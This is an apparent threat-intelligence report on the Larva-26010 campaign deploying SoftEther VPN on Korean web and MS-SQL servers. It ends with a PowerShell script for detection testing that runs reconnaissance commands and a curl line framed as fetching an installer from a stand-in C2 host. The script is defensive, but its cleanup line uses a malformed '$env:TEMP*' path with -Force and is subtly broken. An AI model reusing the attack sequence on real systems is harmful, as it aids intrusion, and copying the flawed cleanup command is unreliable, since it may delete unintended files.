Malware Campaign Targets Korean Web Servers Running SoftEther VPN

Summary

The Larva-26010 threat actor is targeting web and MS-SQL servers in South Korea to deploy SoftEther VPN. Compromised systems are repurposed as VPN servers, potentially using cascade connections to conceal the attackers’ true C&C infrastructure. The intrusion typically begins with web server compromise, followed by deployment of web shells and SQLShells.

Investigation

AhnLab Security Intelligence Center identified recent attack activity occurring between April and August 2026. The investigation revealed a shift in the attack sequence, with web servers compromised first, followed by discovery commands, SoftEther VPN installation, and subsequent attacks against MS-SQL servers to deploy CLR SqlShell. The attackers also used tools such as PowerShell, bitsadmin, and certutil for payload delivery.

Mitigation

Administrators should inspect web servers for exploitable vulnerabilities and validate all input values used in DBMS queries and web service requests. Execution permissions should be restricted across upload directories, while IIS web servers and operating systems should remain fully patched. Antivirus and security products such as V3 should also be updated to the latest available version.

Response

If malicious activity is detected, affected web and MS-SQL servers should be isolated immediately to limit lateral movement. Investigators should determine the scope of web shell and SqlShell deployment and review newly created user accounts for unauthorized administrator accounts. Registry settings such as UseLogonCredential should also be examined for suspicious modifications.

## Simulation Execution

Prerequisite: The Telemetry & Baseline Pre-flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands: The adversary has gained initial access via a web vulnerability. To facilitate lateral movement and establish a persistent backdoor, they need to map the local network and download the SoftEther VPN installer. The attacker executes ipconfig /all to map the interface, whoami to confirm privileges, and uses curl to fetch the installer from a remote command-and-control (C2) server. This specific sequence is designed to trigger the “SoftEther VPN Installation” detection logic by matching the exact command-line strings defined in the Sigma rule.

• Regression Test Script:

  # Simulation Script: SoftEther Discovery and Payload Download
  # This script executes the exact commands the rule is looking for.
  
  Write-Host "[+] Starting Discovery Phase..." -ForegroundColor Cyan
  
  # Trigger selection_command_lines: 'whoami'
  whoami
  
  # Trigger selection_command_lines: 'ipconfig /all'
  ipconfig /all
  
  # Trigger selection_command_lines: 'netstat -ano -p tcp'
  netstat -ano -p tcp
  
  # Trigger selection_command_lines: 'systeminfo'
  systeminfo
  
  Write-Host "[+] Starting Payload Download Phase..." -ForegroundColor Cyan
  
  # Trigger selection_images: 'curl.exe' AND selection_command_lines: 'curl -h'
  # Note: We use -h to stay within the rule's logic while simulating a download intent
  curl -h https://example.com/softether_installer.exe
  
  Write-Host "[+] Simulation Complete." -ForegroundColor Green

• Cleanup Commands:

  # No files were actually downloaded in this simulation, 
  # but we ensure no artifacts remain.
  Remove-Item -Path "$env:TEMP*" -Force -ErrorAction SilentlyContinue